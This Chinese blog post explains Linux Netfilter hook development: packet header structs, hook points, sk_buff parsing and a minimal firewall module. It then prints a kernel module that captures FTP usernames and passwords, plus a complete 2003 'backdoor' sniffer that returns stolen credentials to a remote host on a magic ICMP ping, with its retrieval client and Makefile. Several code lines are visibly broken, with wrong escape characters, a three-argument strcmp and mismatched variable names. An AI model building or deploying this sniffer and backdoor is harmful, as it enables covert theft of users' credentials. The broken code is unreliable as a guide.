Linux Netfilter开发小结

来源:互联网 发布:火影忍者知乎 编辑:程序博客网 时间:2024/06/05 19:30

前置知识:





IP包:
struct ip {#if BYTE_ORDER == LITTLE_ENDIANunsigned charip_hl:4,/* header length */ip_v:4;/* version */#endifunsigned charip_tos;/* type of service */shortip_len;/* total length */unsigned shortip_id;/* identification */shortip_off;unsigned charip_ttl;/* time to live */unsigned charip_p;/* protocol */unsigned shortip_sum;          structin_addr ip_src,ip_dst;/* source and dest address */};



IHL(Internet Header Length 报头长度),位于IP报文的第二个字段,4位,表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。 (ip_hl)




TCP头
struct tcphdr {u_shortth_sport;/* source port */u_shortth_dport;/* destination port */tcp_seqth_seq;/* sequence number */tcp_seqth_ack;/* acknowledgement number */#if BYTE_ORDER == LITTLE_ENDIANu_charth_x2:4,/* (unused) */th_off:4;/* data offset */#endif#if BYTE_ORDER == BIG_ENDIANu_charth_off:4,/* data offset */th_x2:4;/* (unused) */#endifu_charth_flags;#defineTH_FIN0x01#defineTH_SYN0x02#defineTH_RST0x04#defineTH_PUSH0x08#defineTH_ACK0x10#defineTH_URG0x20#define TH_FLAGS (TH_FIN|TH_SYN|             TH_RST|TH_ACK|TH_URG)u_shortth_win;/* window */u_shortth_sum;/* checksum */u_shortth_urp;/* urgent pointer */};





UDP
struct udphdr {u_shortuh_sport;/* source port */u_shortuh_dport;/* destination port */shortuh_ulen;/* udp length */u_shortuh_sum;/* udp checksum */};






ARP
typedef struct _ETHERNET_FRAME{    BYTE    DestinationAddress[6];        BYTE    SourceAddress[6];          WORD    FrameType;    // in host-order} EHTERNET_FRAME, *PETHERNET_FRAME;typedef struct _ARP_HEADER{  WORD    HardType;      //硬件类型  WORD    ProtocolType;  //协议类型 BYTE    HardLength;    //硬件地址长度  BYTE    ProtocolLength; //协议地址长度    WORD    Opcode;        //操作类型      BYTE    SourceMAC[6];          BYTE    SourceIP[4];          BYTE    DestinationMAC[6];      BYTE    DestinationIP[4];    } ARP_HEADER, *PARP_HEADER;typedef struct _ARP{    EHTERNET_FRAME EthernetFrame;    ARP_HEADER  ArpHeader;}ARP, *PARP;









其他的可以看或文章最尾部的参考文章
数据包报头百度百科
http://baike.baidu.com/link?url=DuxdZVeorGksQX94G8UP19wx_iy-o504SjAhiQjZuRWSWNaZEVthpt6cm4L_z0FryXPqF4-YPtaN0UBbe_8Yeq


基于linux内核的网络防火墙开发

Linux核心网络堆栈中有一个全局变量 : 
struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],该变量是一个二维数组,其中第一维用于指定协议族,第二维用于指定hook的类型(即5个HOOK点 )。注册一个Netfilter hook实际就是在由协议族和hook类型确定的链表中添加一个新的节点。 


在Linux防火墙开发中,有5个地方可以拦截





图很清楚的说明了在对应的位置能干什么


Filter:包过滤
Nat:地址转换
Mangle:修改包数据


规则链:
五个钩子函数(hook functions),也叫五个规则链。
1.PREROUTING (路由前)
2.INPUT (数据包流入口)
3.FORWARD (转发管卡)
4.OUTPUT(数据包出口)
5.POSTROUTING(路由后)
这是NetFilter规定的五个规则链,任何一个数据包,只要经过本机,必将经过这五个链中的其中一个链。  


5个HOOK点的定义:
NF_INET_PRE_ROUTING    在完整性校验之后,选路确定之前NF_INET_LOCAL_IN        在选路确定之后,且数据包的目的是本地主机NF_INET_FORWARD        目的地是其它主机地数据包NF_INET_LOCAL_OUT     来自本机进程的数据包在其离开本地主机的过程中NF_IP_POST_ROUTING    在数据包离开本地主机“上线”之前 NF_INET_POST_ROUTING 同上


对包的处理结果:

NF_DROP        丢弃该数据包NF_ACCEPT    保留该数据包NF_STOLEN    忘掉该数据包NF_QUEUE     将该数据包插入到用户空间NF_REPEAT    再次调用该hook函数 

优先级:
enum nf_ip_hook_priorities {        NF_IP_PRI_FIRST = INT_MIN,        NF_IP_PRI_CONNTRACK_DEFRAG = -400,        NF_IP_PRI_RAW = -300,        NF_IP_PRI_SELINUX_FIRST = -225,        NF_IP_PRI_CONNTRACK = -200,        NF_IP_PRI_MANGLE = -150,        NF_IP_PRI_NAT_DST = -100,        NF_IP_PRI_FILTER = 0,        NF_IP_PRI_SECURITY = 50,        NF_IP_PRI_NAT_SRC = 100,        NF_IP_PRI_SELINUX_LAST = 225,        NF_IP_PRI_CONNTRACK_CONFIRM = INT_MAX,        NF_IP_PRI_LAST = INT_MAX,};

一般写NF_IP_PRI_FIRST啦~或+1 +2...



///////////////////////////////////////////////////开始编写防火墙//////////////////////////////////////////////////////////////////
在注册之前 我们需要填写一个结构

struct nf_hook_ops {      struct list_head list;      /* 此下的值由用户填充 */      nf_hookfn *hook//回调函数;      int pf;//协议 IPV4 还是ipV6      int hooknum;//hook点      /* Hook以升序的优先级排序 */     int priority;};


例子:
   
 struct nf_hook_ops   nfho;    /* 填充我们的hook数据结构 */        nfho.hook = hook_func;  /* 处理函数 */        nfho.hooknum  = NF_INET_PRE_ROUTING;    /* 使用IPv4的第一个hook */        nfho.pf       = PF_INET;     //优先级 /* 让我们的函数首先执行 */      nfho.priority = NF_IP_PRI_FIRST; 

    

过滤函数:

unsigned int hook_func(                       unsigned int hooknum,                                              struct sk_buff *skb,                                              const struct net_device *in,                                              const struct net_device *out,                                              int (*okfn)(struct sk_buff *)){    return NF_DROP;  /* 丢弃所有的数据包 */        } 

        //初始化函数调用    nf_register_hook(&nfho);     //卸载函数中调用    nf_unregister_hook(&nfho); 


完整代码:
#include <linux/module.h>#include <linux/kernel.h>#include <linux/netfilter.h>#include <linux/netfilter_ipv4.h>static struct nf_hook_ops nfho;static unsigned int hook_func(unsigned int hooknum,                       struct sk_buff *skb,                       const struct net_device *in,                       const struct net_device *out,                       int (*okfn)(struct sk_buff *)){    return NF_ACCEPT;}static int nf_init(void){    nfho.hook = hook_func;    nfho.hooknum  = NF_INET_PRE_ROUTING;     nfho.pf       = PF_INET;    nfho.priority = NF_IP_PRI_FIRST;    nf_register_hook(&nfho);    return 0;}static void  nf_cleanup(void){    nf_unregister_hook(&nfho);}module_init(nf_init);module_exit(nf_cleanup);MODULE_AUTHOR("djwow");MODULE_LICENSE("GPL");


struct sk_buff







sk_buff结构的成员skb->head指向一个已分配的空间的头部,即申请到的整个缓冲区的头,skb->end指向该空间的尾部,这两个成员指针从空间创建之后,就不能被修改。skb->data指向分配空间中数据的头部,skb->tail指向数据的尾部,这两个值随着网络数据在各层之间的传递、修改,会被不断改动。刚开始接触skb_buf的时候会产生一种错误的认识,就是以为协议头都会是放在skb->head和skb->data这两个指针之间,但实际上skb_buf的操作函数都无法直接对这一段内存进行操作,所有的操作函数所做的就仅仅是修改skb->data和skb->tail这两个指针而已,向套接字缓冲区拷贝数据也是由其它函数来完成的,所以不管是从网卡接受的数据还是上层发下来的数据,协议头都是被放在了skb->data到skb->tail之间,通过skb_push前移skb->data加入协议头,通过skb_pull后移skb->data剥离协议头。 




sk_buf常用解析
struct sk_buff *sb = skb;
IP地址:
#define NIPQUAD(addr) \  ((unsigned char *)&addr)[0], \  ((unsigned char *)&addr)[1], \  ((unsigned char *)&addr)[2], \  ((unsigned char *)&addr)[3]#define NIPQUAD_FMT "%u.%u.%u.%u" __be sip, dip;struct iphdr *iph=ip_hdr(sb);sip=iph->saddr;dip=iph->daddr;printk("sip:%u.%u.%u.%u,dip:%u.%u.%u.%u\m",    NIPQUAD(sip),NIPQUAD(dip));




协议:
struct iphdr *iph=ip_hdr(sb);iph->protocol==IPPROTO_TCP

端口:
struct iphdr *iph=ip_hdr(sb);struct tcphdr *tcph = NULL;struct udphdr *udph = NULL;unsigned short sport = 0;unsigned short dport = 0;if(iph->protocol==IPPROTO_TCP){    tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));    sport=ntohs(tcph->source);    dport=ntohs(tcph->dest);}else if(iph->protocal==IPPROTO_UDP){    udph = (struct udphdr *)((char *)skb->data + (int)(iph->ihl * 4));    sport=ntohs(udph->source);    dport=ntohs(udph->dest);}

tcp的数据:
char *data = NULL;struct tcphdr *tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));;data = (char *)((int)tcph + (int)(tcph->doff * 4));

ihl(Internet Header Length 报头长度),位于IP报文的第二个字段,4位,表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。 

三个demo
一个是打印ip地址 一个是获取ftp账号密码 最后一个老外写一个获取ftp和修改数据的demo 
//打印IP:#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>#include <linux/types.h>#include <linux/netdevice.h>#include <linux/skbuff.h>#include <linux/netfilter_ipv4.h>#include <linux/inet.h>#include <linux/in.h>#include <linux/ip.h>#include <linux/tcp.h>#include <linux/udp.h>#define NIPQUAD(addr) \  ((unsigned char *)&addr)[0], \  ((unsigned char *)&addr)[1], \  ((unsigned char *)&addr)[2], \  ((unsigned char *)&addr)[3]static unsigned int ipprint_func(unsigned int hooknum,struct sk_buff * skb,const struct net_device *in,const struct net_device *out,int (*okfn) (struct sk_buff *)){    __be32 sip,dip;    struct tcphdr *tcph = NULL;    struct udphdr *udph = NULL;    unsigned short sport = 0;    unsigned short dport = 0;    struct iphdr *iph;    if(skb)    {        struct sk_buff *sb = NULL;        sb = skb;        iph  = ip_hdr(sb);        sip = iph->saddr;        dip = iph->daddr;        if(iph->protocol==IPPROTO_TCP)        {     tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));            //tcph = tcp_hdr(sb);            sport=ntohs(tcph->source);            dport=ntohs(tcph->dest);        }        else if(iph->protocol==IPPROTO_UDP)        {    udph = (struct udphdr *)((char *)skb->data + (int)(iph->ihl * 4));            //udph = udp_hdr(sb);            sport=ntohs(udph->source);            dport=ntohs(udph->dest);        }        printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);    }    return NF_DROP;} struct nf_hook_ops ipprint_ops = {   .list =  {NULL,NULL},   .hook = ipprint_func,   .pf = PF_INET,   //.hooknum = NF_INET_PRE_ROUTING,   .hooknum = NF_INET_LOCAL_IN,   .priority = NF_IP_PRI_FILTER+2 };static int __init ipprint_init(void) {  nf_register_hook(&ipprint_ops);  return 0;}static void __exit ipprint_exit(void) {  nf_unregister_hook(&ipprint_ops);} module_init(ipprint_init); module_exit(ipprint_exit);  MODULE_AUTHOR("djwow"); MODULE_DESCRIPTION("ipprint");MODULE_LICENSE("GPL");



获取FTP账号密码: 结合通信的话可以参考我的另一篇文章

《linux防火墙开发实例 获取FTP账号密码》

http://blog.csdn.net/zhuhuibeishadiao

#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>#include <linux/types.h>#include <linux/netdevice.h>#include <linux/skbuff.h>#include <linux/netfilter_ipv4.h>#include <linux/inet.h>#include <linux/in.h>#include <linux/ip.h>#include <linux/tcp.h>#include <linux/udp.h>#define NIPQUAD(addr) \  ((unsigned char *)&addr)[0], \  ((unsigned char *)&addr)[1], \  ((unsigned char *)&addr)[2], \  ((unsigned char *)&addr)[3]static unsigned int ipprint_func(unsigned int hooknum,struct sk_buff * skb,const struct net_device *in,const struct net_device *out,int (*okfn) (struct sk_buff *)){    __be32 sip,dip;    struct tcphdr *tcph = NULL;    struct udphdr *udph = NULL;    unsigned short sport = 0;    unsigned short dport = 0;    struct iphdr *iph;    char *data = NULL;    char *UserName = NULL;    char *PassWord = NULL;    int i = 0;    int len = 0;    if(skb)    {        struct sk_buff *sb = NULL;        sb = skb;        iph  = ip_hdr(sb);        sip = iph->saddr;        dip = iph->daddr;        if(iph->protocol != IPPROTO_TCP)          return NF_ACCEPT;                tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));            //tcph = tcp_hdr(sb);        sport=ntohs(tcph->source);        dport=ntohs(tcph->dest);        if(dport != 21)          return NF_ACCEPT;        data = (char *)((int)tcph + (int)(tcph->doff * 4));        if(strcmp(data,"USER",5) == 0)        {            data += 5;            while (*(data + i) != '/r'                 && *(data + i) != '/n'                && *(data + i) != '/0'                 && i < 15)             {                   len++;                   i++;            }             if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)                  return NF_ACCEPT;            memset(username, 0x00, len + 2);            memcpy(username, data, len);            *(username + len) = '/0';               } else if(strcmp(data,"PASS",5) == 0)          {            data += 5;            while (*(data + i) != '/r'                 && *(data + i) != '/n'                && *(data + i) != '/0'                 && i < 15)             {                   len++;                   i++;            }              if ((PassWord = kmalloc(len + 2, GFP_KERNEL)) == NULL)                  return NF_ACCEPT;                memset(PassWord,0x00,len+2);                memcpy(PassWord,data,len);                *(PassWord + len) = '/0';          }   else           {               return NF_ACCEPT;          }        //printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);          if(UserName)          {            printk("UserName:%s\n",UserName);            kfree(UserName);          }          if(PassWord)          {            printk("PassWord:%s\n",PassWord);            kfree(PassWord);          }    }    return NF_ACCEPT;} struct nf_hook_ops ipprint_ops = {   .list =  {NULL,NULL},   .hook = ipprint_func,   .pf = PF_INET,   .hooknum = NF_IP_POST_ROUTING,   //.hooknum = NF_INET_LOCAL_IN,   .priority = NF_IP_PRI_FILTER+2 };static int __init ipprint_init(void) {  nf_register_hook(&ipprint_ops);  return 0;}static void __exit ipprint_exit(void) {  nf_unregister_hook(&ipprint_ops);} module_init(ipprint_init); module_exit(ipprint_exit);  MODULE_AUTHOR("djwow"); MODULE_DESCRIPTION("ipprint");MODULE_LICENSE("GPL");


老外的:

/* Simple proof-of-concept for kernel-based FTP password sniffer.* A captured Username and Password pair are sent to a remote host* when that host sends a specially formatted ICMP packet. Here we* shall use an ICMP_ECHO packet whose code field is set to 0x5B* *AND* the packet has enough* space after the headers to fit a 4-byte IP address and the* username and password fields which are a max. of 15 characters* each plus a NULL byte. So a total ICMP payload size of 36 bytes. *//* Written by bioforge,  March 2003 */#define MODULE#define __KERNEL__#include <linux/module.h>#include <linux/kernel.h>#include <linux/skbuff.h>#include <linux/in.h>#include <linux/ip.h>#include <linux/tcp.h>#include <linux/icmp.h>#include <linux/netdevice.h>#include <linux/netfilter.h>#include <linux/netfilter_ipv4.h>#include <linux/if_arp.h>#include <linux/if_ether.h>#include <linux/if_packet.h>#define MAGIC_CODE   0x5B#define REPLY_SIZE   36#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) /                   - sizeof(struct iphdr) /                   - sizeof(struct icmphdr))/* THESE values are used to keep the USERname and PASSword until* they are queried. Only one USER/PASS pair will be held at one* time and will be cleared once queried. */static char *username = NULL;static char *password = NULL;static int  have_pair = 0;     /* Marks if we already have a pair *//* Tracking information. Only log USER and PASS commands that go to the* same IP address and TCP port. */static unsigned int target_ip = 0;static unsigned short target_port = 0;/* Used to describe our Netfilter hooks */struct nf_hook_ops  pre_hook;           /* Incoming */struct nf_hook_ops  post_hook;           /* Outgoing *//* Function that looks at an sk_buff that is known to be an FTP packet.* Looks for the USER and PASS fields and makes sure they both come from* the one host as indicated in the target_xxx fields */static void check_ftp(struct sk_buff *skb){   struct tcphdr *tcp;   char *data;   int len = 0;   int i = 0;      tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));   data = (char *)((int)tcp + (int)(tcp->doff * 4));   /* Now, if we have a username already, then we have a target_ip.    * Make sure that this packet is destined for the same host. */   if (username)     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)       return;      /* Now try to see if this is a USER or PASS packet */   if (strncmp(data, "USER ", 5) == 0) {          /* Username */      data += 5;            if (username)  return;            while (*(data + i) != '/r' && *(data + i) != '/n'         && *(data + i) != '/0' && i < 15) {     len++;     i++;      }            if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)    return;      memset(username, 0x00, len + 2);      memcpy(username, data, len);      *(username + len) = '/0';           /* NULL terminate */   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */      data += 5;      /* If a username hasn't been logged yet then don't try logging       * a password */      if (username == NULL) return;      if (password)  return;            while (*(data + i) != '/r' && *(data + i) != '/n'         && *(data + i) != '/0' && i < 15) {     len++;     i++;      }      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)    return;      memset(password, 0x00, len + 2);      memcpy(password, data, len);      *(password + len) = '/0';           /* NULL terminate */   } else if (strncmp(data, "QUIT", 4) == 0) {      /* Quit command received. If we have a username but no password,       * clear the username and reset everything */      if (have_pair)  return;      if (username && !password) {     kfree(username);     username = NULL;     target_port = target_ip = 0;     have_pair = 0;          return;      }   } else {      return;   }   if (!target_ip)     target_ip = skb->nh.iph->daddr;   if (!target_port)     target_port = tcp->source;   if (username && password)     have_pair++;               /* Have a pair. Ignore others until                    * this pair has been read. *///   if (have_pair)//     printk("Have password pair!  U: %s   P: %s/n", username, password);}/* Function called as the POST_ROUTING (last) hook. It will check for* FTP traffic then search that traffic for USER and PASS commands. */static unsigned int watch_out(unsigned int hooknum,                  struct sk_buff **skb,                  const struct net_device *in,                  const struct net_device *out,                  int (*okfn)(struct sk_buff *)){   struct sk_buff *sb = *skb;   struct tcphdr *tcp;      /* Make sure this is a TCP packet first */   if (sb->nh.iph->protocol != IPPROTO_TCP)     return NF_ACCEPT;               /* Nope, not TCP */      tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));      /* Now check to see if it's an FTP packet */   if (tcp->dest != htons(21))     return NF_ACCEPT;               /* Nope, not FTP */      /* Parse the FTP packet for relevant information if we don't already    * have a username and password pair. */   if (!have_pair)     check_ftp(sb);      /* We are finished with the packet, let it go on its way */   return NF_ACCEPT;}/* Procedure that watches incoming ICMP traffic for the "Magic" packet.* When that is received, we tweak the skb structure to send a reply* back to the requesting host and tell Netfilter that we stole the* packet. */static unsigned int watch_in(unsigned int hooknum,                 struct sk_buff **skb,                 const struct net_device *in,                 const struct net_device *out,                 int (*okfn)(struct sk_buff *)){   struct sk_buff *sb = *skb;   struct icmphdr *icmp;   char *cp_data;               /* Where we copy data to in reply */   unsigned int   taddr;           /* Temporary IP holder */   /* Do we even have a username/password pair to report yet? */   if (!have_pair)     return NF_ACCEPT;        /* Is this an ICMP packet? */   if (sb->nh.iph->protocol != IPPROTO_ICMP)     return NF_ACCEPT;      icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);   /* Is it the MAGIC packet? */   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {      return NF_ACCEPT;   }      /* Okay, matches our checks for "Magicness", now we fiddle with    * the sk_buff to insert the IP address, and username/password pair,    * swap IP source and destination addresses and ethernet addresses    * if necessary and then transmit the packet from here and tell    * Netfilter we stole it. Phew... */   taddr = sb->nh.iph->saddr;   sb->nh.iph->saddr = sb->nh.iph->daddr;   sb->nh.iph->daddr = taddr;   sb->pkt_type = PACKET_OUTGOING;   switch (sb->dev->type) {    case ARPHRD_PPP:               /* No fiddling needs doing */      break;    case ARPHRD_LOOPBACK:    case ARPHRD_ETHER:    {       unsigned char t_hwaddr[ETH_ALEN];              /* Move the data pointer to point to the link layer header */       sb->data = (unsigned char *)sb->mac.ethernet;       sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);       memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);       memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),          ETH_ALEN);       memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);         break;    }   };   /* Now copy the IP address, then Username, then password into packet */   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));   memcpy(cp_data, &target_ip, 4);   if (username)     memcpy(cp_data + 4, username, 16);   if (password)     memcpy(cp_data + 20, password, 16);      /* This is where things will die if they are going to.    * Fingers crossed... */   dev_queue_xmit(sb);   /* Now free the saved username and password and reset have_pair */   kfree(username);   kfree(password);   username = password = NULL;   have_pair = 0;      target_port = target_ip = 0;//   printk("Password retrieved/n");      return NF_STOLEN;}int init_module(){   pre_hook.hook     = watch_in;   pre_hook.pf       = PF_INET;   pre_hook.priority = NF_IP_PRI_FIRST;   pre_hook.hooknum  = NF_IP_PRE_ROUTING;      post_hook.hook     = watch_out;   post_hook.pf       = PF_INET;   post_hook.priority = NF_IP_PRI_FIRST;   post_hook.hooknum  = NF_IP_POST_ROUTING;      nf_register_hook(&pre_hook);   nf_register_hook(&post_hook);      return 0;}void cleanup_module(){   nf_unregister_hook(&post_hook);   nf_unregister_hook(&pre_hook);      if (password)     kfree(password);   if (username)     kfree(username);}module_init(init_module);module_exit(cleanup_module);

老外的R3程序

/* getpass.c - simple utility to get username/password pair from* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.* Mostly stripped from my source for InfoPig.** Written by bioforge  -  March 2003 */#include <sys/types.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <errno.h>#include <sys/socket.h>#include <netdb.h>#include <arpa/inet.h>#ifndef __USE_BSD# define __USE_BSD               /* We want the proper headers */#endif# include <netinet/ip.h>#include <netinet/ip_icmp.h>/* Function prototypes */static unsigned short checksum(int numwords, unsigned short *buff);int main(int argc, char *argv[]){    unsigned char dgram[256];           /* Plenty for a PING datagram */    unsigned char recvbuff[256];    struct ip *iphead = (struct ip *)dgram;    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));    struct sockaddr_in src;    struct sockaddr_in addr;    struct in_addr my_addr;    struct in_addr serv_addr;    socklen_t src_addr_size = sizeof(struct sockaddr_in);    int icmp_sock = 0;    int one = 1;    int *ptr_one = &one;        if (argc < 3) {    fprintf(stderr, "Usage:  %s remoteIP myIP/n", argv[0]);    exit(1);    }    /* Get a socket */    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {    fprintf(stderr, "Couldn't open raw socket! %s/n",        strerror(errno));    exit(1);    }    /* set the HDR_INCL option on the socket */    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,          ptr_one, sizeof(one)) < 0) {    close(icmp_sock);    fprintf(stderr, "Couldn't set HDRINCL option! %s/n",            strerror(errno));    exit(1);    }        addr.sin_family = AF_INET;    addr.sin_addr.s_addr = inet_addr(argv[1]);        my_addr.s_addr = inet_addr(argv[2]);        memset(dgram, 0x00, 256);    memset(recvbuff, 0x00, 256);        /* Fill in the IP fields first */    iphead->ip_hl  = 5;    iphead->ip_v   = 4;    iphead->ip_tos = 0;    iphead->ip_len = 84;    iphead->ip_id  = (unsigned short)rand();    iphead->ip_off = 0;    iphead->ip_ttl = 128;    iphead->ip_p   = IPPROTO_ICMP;    iphead->ip_sum = 0;    iphead->ip_src = my_addr;    iphead->ip_dst = addr.sin_addr;        /* Now fill in the ICMP fields */    icmphead->icmp_type = ICMP_ECHO;    icmphead->icmp_code = 0x5B;    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);        /* Finally, send the packet */    fprintf(stdout, "Sending request.../n");    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,           sizeof(struct sockaddr)) < 0) {    fprintf(stderr, "/nFailed sending request! %s/n",        strerror(errno));    return 0;    }    fprintf(stdout, "Waiting for reply.../n");    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,         &src_addr_size) < 0) {    fprintf(stdout, "Failed getting reply packet! %s/n",        strerror(errno));    close(icmp_sock);    exit(1);    }        iphead = (struct ip *)recvbuff;    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));    memcpy(&serv_addr, ((char *)icmphead + 8),           sizeof (struct in_addr));        fprintf(stdout, "Stolen for ftp server %s:/n", inet_ntoa(serv_addr));    fprintf(stdout, "Username:    %s/n",         (char *)((char *)icmphead + 12));    fprintf(stdout, "Password:    %s/n",         (char *)((char *)icmphead + 28));        close(icmp_sock);        return 0;}/* Checksum-generation function. It appears that PING'ed machines don't* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...* Fair enough I guess. */static unsigned short checksum(int numwords, unsigned short *buff){   unsigned long sum;      for(sum = 0;numwords > 0;numwords--)     sum += *buff++;   /* add next word, then increment pointer */      sum = (sum >> 16) + (sum & 0xFFFF);   sum += (sum >> 16);      return ~sum;}


Makefile

#Makefile                                              #                                                                                                             CFLAGS=-Wall                                           LIBS=-L/usr/lib -lc# Change include directory for your kernel                                   MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include MODULE_CFLAGS+=$(CFLAGS)                               EXECUTE_CFLAGS=-ggdb                                   EXECUTE_CFLAGS+=$(CFLAGS)                                                                                     all : nfsniff.o getpass                                nfsniff.o : nfsniff.c                                          gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)        ld -r -o nfsniff.o nfsniff~.o $(LIBS)          getpass.o : getpass.c                                          gcc -c getpass.c $(EXECUTE_CFLAGS)             getpass : getpass.o                                            gcc -o getpass getpass.o $(EXECUTE_CFLAGS)     clean :                                                rm -f *.o getpass    


如果不自己开发防火墙的话 可以使用linux自带iptables


参考:



iptables详解-WilleeKung-ChinaUnix博客
http://blog.chinaunix.net/uid-22780578-id-3346350.html


netfilter iptables全攻略
http://www.linuxso.com/linuxpeixun/10332.html




本文参考文章:
struct ethhdr、ether_header、iphdr、tcphdr、udphdr
http://blog.csdn.net/zhb123168/article/details/6319521


Linux内核sk_buff结构分析
http://blog.csdn.net/q345852047/article/details/7415748


skb_buf结构分析
http://blog.csdn.net/qq405180763/article/details/8797236


sk_buff结构分析
http://www.cnblogs.com/qq78292959/archive/2012/06/06/2538358.html









0 0
原创粉丝点击